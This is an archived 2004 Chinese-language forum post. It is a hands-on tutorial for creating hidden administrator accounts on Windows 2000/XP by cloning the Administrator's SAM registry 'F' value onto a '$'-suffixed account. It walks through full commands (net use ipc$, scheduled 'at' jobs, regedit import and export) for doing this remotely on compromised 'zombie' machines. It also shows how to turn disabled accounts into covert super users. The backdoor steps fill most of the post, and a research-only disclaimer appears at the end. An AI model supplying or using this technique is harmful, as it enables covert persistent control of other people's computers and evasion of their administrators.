史萊姆論壇

史萊姆論壇 (http://forum.slime.com.tw/)
-   作業系統操作技術文件 (http://forum.slime.com.tw/f128.html)
-   -   建立隱藏的超級用戶 (http://forum.slime.com.tw/thread99135.html)

psac 2004-03-08 11:57 PM

建立隱藏的超級用戶
 
前幾天在某個網站(記不清了,不好意思 ^_*)上看到了一篇介紹如何建立隱藏的超級用戶的圖文教程,給我了很大的啟發,作者只說明了如何在本地圖形界面下建立隱藏的超級用戶,且作者說他無法在命令行下實現隱藏的超級用戶的建立,於是我就開始自已摸索,剛開始時,我用reg.exe(3.0版)作為命令行下導出導入註冊表檔案的工具,但每次導入以後,建立的隱藏的超級用戶總不能用,後來開啟註冊表檢視,發現這個隱藏的超級用戶的預設值資料類型並沒有被導入註冊表。


由於這種資料類型是十六進制數表示的(如administrator的預設值資料類型為000001F4,下面例子中的hacker$的資料類型是00000409)而不是我們常說的字元串型、dword型、二進制型等資料類型,reg.exe不能識別,因而也就無法導入,而在圖形界面下用註冊表編輯器regedit.exe卻能夠將這種資料類型導入,後來一想regedit.exe是一個兩棲程序,它既可以在windows界面下執行,也可以在DOS下執行,既然圖形界面regedit.exe能夠導入這種資料類型,那麼DOS下面的它也應該能夠導入這種資料類型,後來經試驗證明了我的想法。


下面我把我實現這個隱藏的超級用戶建立方法介紹如下:

一、如何在圖形界面建立隱藏的超級用戶

圖形界面下適用本地或開3389終端服務的肉雞上。上面我提到的那位作者說的方法很好,但是較為複雜,還要用到psu.exe(讓程序以系統用戶身份執行的程序),如果在肉雞上的話還要上傳psu.exe。我說的這個方法將不用到psu.exe這個程序。


因為windows2000有兩個註冊表編輯器:regedit.exe和regedt32.exe。


XP中regedit.exe和regedt32.exe實為一個程序,修改鍵值的權限時在右鍵中點「權限」來修改。



對regedit.exe我想大家都很熟悉,但卻不能對註冊表的項鍵設置權限,而regedt32.exe最大的優點就是能夠對註冊表的項鍵設置權限。


nt/2000/xp的帳戶訊息都在註冊表的HKEY_LOCAL_MACHINE\SAM\SAM鍵下,但是除了系統用戶SYSTEM外,其它用戶都無權檢視到裡面的訊息,因此我首先用regedt32.exe對SAM鍵為我設置為「完全控制」權限。


這樣就可以對SAM鍵內的訊息進行讀寫了了。具體步聚如下:

1、假設我們是以超級用戶administrator登錄到開有終端服務的肉雞上的,首先在命令行下或帳戶管理器中建立一個帳戶:hacker$,這裡我在命令行下建立這個帳戶

net user hacker$ 1234 /add

2、在開始/執行中輸入:regedt32.exe並Enter鍵來執行regedt32.exe。

3、點「權限」以後會彈出視窗

點新增將我登錄時的帳戶新增到安全欄內,這裡我是以administrator的身份登錄的,所以我就將administrator加入,並設置權限為「完全控制"。



這裡需要說明一下:最好是新增你登錄的帳戶或帳戶所在的組,切莫修改原有的帳戶或組,否則將會帶來一系列不必要的問題。等隱藏超級用戶建好以,再來這裡將你新增的帳戶刪除即可。

4、再點「開始」→「執行」並輸入"regedit.exe" Enter鍵,啟動註冊表編輯器regedit.exe。

開啟鍵:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$"

5、將項hacker$、00000409、000001F4導出為hacker.reg、409.reg、1f4.reg,用記事本分別打這幾個導出的檔案進行編輯,將超級用戶對應的項000001F4下的鍵"F"的值複製,並覆蓋hacker$對應的項00000409下的鍵"F"的值,然後再將00000409.reg與hacker.reg合併。

6、在命令行下執行net user hacker$ /del將用戶hacker$刪除:net user hacker$ /del

7、在regedit.exe的視窗內按F5刷新,然後打檔案-導入註冊表檔案將修改好的hacker.reg導入註冊表即可

8、到此,隱藏的超級用戶hacker$已經建好了,然後關閉regedit.exe。在regedt32.exe視窗內把HKEY_LOCAL_MACHINE\SAM\SAM鍵權限改回原來的樣子(只要刪除新增的帳戶administrator即可)。

9、注意:隱藏的超級用戶建好後,在帳戶管理器看不到hacker$這個用戶,在命令行用「net user」命令也看不到,但是超級用戶建立以後,就不能再改密碼了,如果用net user命令來改hacker$的密碼的話,那麼在帳戶管理器中將又會看這個隱藏的超級用戶了,而且不能刪除。


如何在命令行下遠端建立隱藏的超級用戶

在這裡將用at的命令,因為用at產生的計劃任務是以系統身份執行的,所以也用不到psu.exe程序。為了能夠使用at命令,肉雞必須開有schedule的服務,如果沒有開啟,可用流光裡帶的工具netsvc.exe或sc.exe來遠端啟動,當然其方法也可以,只要能啟動schedule服務就行。

對於命令行方式,你可以採用各種連接方式,如用SQLexec連接MSSQL的1433連接阜,也可以用telnet服務,只要以你能得到一個cmdshell,並且有執行at命令的權限就可以。

1、首先找到一台肉雞,至於如何來找那不是我這裡所說的話題。


這裡先假設找到一台超級用戶為administrator,密碼為12345678的肉雞,現在我們開始在命令行下遠端為它建立隱藏的超級用戶。


(例子中的主機是我的局域網內的一台主機,我將它的ip地址改為13.50.97.238,,請勿在互聯網上對號入座,以免騷擾正常的ip地址。)


2、先與肉雞建立連接,命令為: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator

3、用at命令在肉雞上建立一個用戶(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠端啟動):at \\13.50.97.238 12:51

c:\winnt\system32\net.exe user hacker$ 1234 /add

建立這個加有$符的用戶名,是因為加有$符後,命令行下用net user將不顯示這個用戶,但在帳戶管理器卻能看到這個用戶。

4、同樣用at命令導出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下鍵值:at \\13.50.97.238 12:55

c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\

/e 是regedit.exe的參數,在_LOCAL_MACHINE\SAM\SAM\Domains\account\users\這個鍵的一定要以\結尾。必要的情況下可以用引號將"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起來。

5、將肉雞上的hacker.reg下載到本機上用記事本開啟進行編輯命令為:copy \\13.50.97.238\admin$\system32\hacker.reg

c:\hacker.reg

修改的方法圖形界中已經介紹過了,這裡就不作介紹了。

6、再將編輯好的hacker.reg拷回肉雞上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg

7、檢視肉雞時間:net time \\13.50.97.238 然後用at命令將用戶hacker$刪除:

at \\13.50.97.238 13:40 net user hacker$ /del

8、驗證hacker$是否刪除:用

net use \\13.50.97.238 /del 離線與肉雞的連接。

net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帳戶hacker$與肉雞連接,不能連接說明已刪除。

9、再與肉雞建立連接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"

再取得肉雞時間,用at命令將拷回肉雞的hacker1.reg導入肉雞註冊表:

at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg

regedit.exe的參數/s是指安靜模式。

10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被刪除一樣。

11、再驗證用戶hacker$是否有讀、寫、刪的權限,如果不放心,你還可驗證是否能建立其它帳戶。

12、通過11可以斷定用戶hacker$具有超級用戶權限,因為最初我用at命令建立它的時候是一個普通用戶,而現在卻具有遠端讀、寫、刪的權限。

三、如果肉雞沒有開3389終端服務,而我又不想用命令行,怎麼辦?

這種情況下,你也可以用界面方式來遠端為肉雞建立隱藏的超級用戶。因為regedit.exe、regedt32.exe都有連接網路註冊表的功能,你可以用regedt32.exe來為遠端主機的註冊表項設置權限,用regedit.exe來編輯遠端註冊表。

帳戶管理器也有一項連另一台電腦的功能,你可以用帳戶管理器為遠端主機建立和刪除帳戶。具體步聚與上面介紹的相似,我就不多說了,只它的速度實在是令人難以忍受。

但是這裡有兩個前提:1、先用net use \\肉雞ip\ipc$ "密碼" /user:"超級用戶名"來與遠端主機建立連接以後,才能用regedit.exe regedt32.exe及帳戶管理器與遠端主機連接。

2、遠端主機必須開啟遠端註冊表服務(沒有開啟的話,你也可以遠端開啟,因為你有超級用戶的密碼了)。

四、利用被禁用的帳戶建立隱藏的超級用戶:

我們可以用肉雞上被禁止的用戶來建立隱藏的超組用戶.方法如下:

1.想辦法檢視有哪些用戶被細心的管理員禁止,一般情況下,有些管理員出於安全考慮,通常會將guest禁用,當然了會禁用其它用戶。


在圖形界面下,非常容易,只要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在命令行下,我還沒有想到好的辦法,只能在命令行下用命令:"net user 用戶名"一個一個來檢視用戶是否被禁用。

2.在這裡,我們假設用戶hacker被管理員禁用。首先,我先用小榕的超組用戶複製程序CA.exe,將被禁用的用戶hacker 複製成超級用戶(複製之後,被禁用的用戶hacker就會自動被啟動了): CA.EXE \\肉雞ip Administrator 超級用戶密碼 hacher hacher密碼。

3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC連接肉雞的msSQL的預設值連接阜1433得到的shell都可以,這時你只要輸入命令:

net user hacker /active:no 這樣用戶hacker就被禁用了(至少表面上是這樣的),當然你也可以將用戶hacher換成其它的被禁用的用戶。

4.這時如果你在圖形界面下看帳戶管理器中的用戶時,會發現用戶hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的用戶連接一下肉雞看看是否能連上?

用命令:

net user \\肉雞ip\ipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我多次試驗,次次都能成功,而且還是超級用戶權限。

5.如果沒有cmdshell怎麼辦?你可以我上面介紹的at命令來禁用用戶hacker;命令格式:at \\肉雞ip 時間 net user hacker /active:no

6.原理:具體的高深的原理我也說不上來,我只能從最簡單的說。你先在圖形界面下在帳戶管理器中禁用一下超級用戶administrator看看,肯定會彈出一對話視窗,並禁止你繼續禁用超級用戶administrator,同樣,因為在複製時,hacker在註冊表的"F"鍵被超級用戶administrator在註冊表的"F"鍵所替代,因而hacker就具有了超級用戶的權限了,但是由於hacker在註冊表內"C"健還是原來的"C"鍵,所以hacker還是會被禁用,但是它的超級用戶權限卻不會被禁用,因此被禁用的用戶hacker還是可以連接肉雞,而且還具有超級用戶的權限。具體我也說不明白,大家權且這麼理解吧。


五、注意的幾點事項:

1、隱藏的超級用戶建立以後,在帳戶管理器中和命令行下均看不到這個用戶,但這個用戶卻存在。

2、隱藏的超級用戶建立以後,就不能再修改密碼了,因為一旦修改密碼,這個隱藏的超級用戶就會暴露在帳戶管理器中,而且不能刪除。

3、如在本機上試驗時,最好用系統自帶的備份工具先備份好本機的「系統狀態」主要是註冊表的備份,因為本人做試驗時,曾出現過帳戶管理器中看不到任何用戶,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。

4、本方法在2000/XP上測試通過,未在NT上測試。本方法僅供研究,請勿將本方法用於破壞上,利用本方法造成嚴重後果者,由使用者負責,本人概不負責。


所有時間均為台北時間。現在的時間是 02:37 PM

Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.

『服務條款』

* 有問題不知道該怎麼解決嗎?請聯絡本站的系統管理員 *


SEO by vBSEO 3.6.1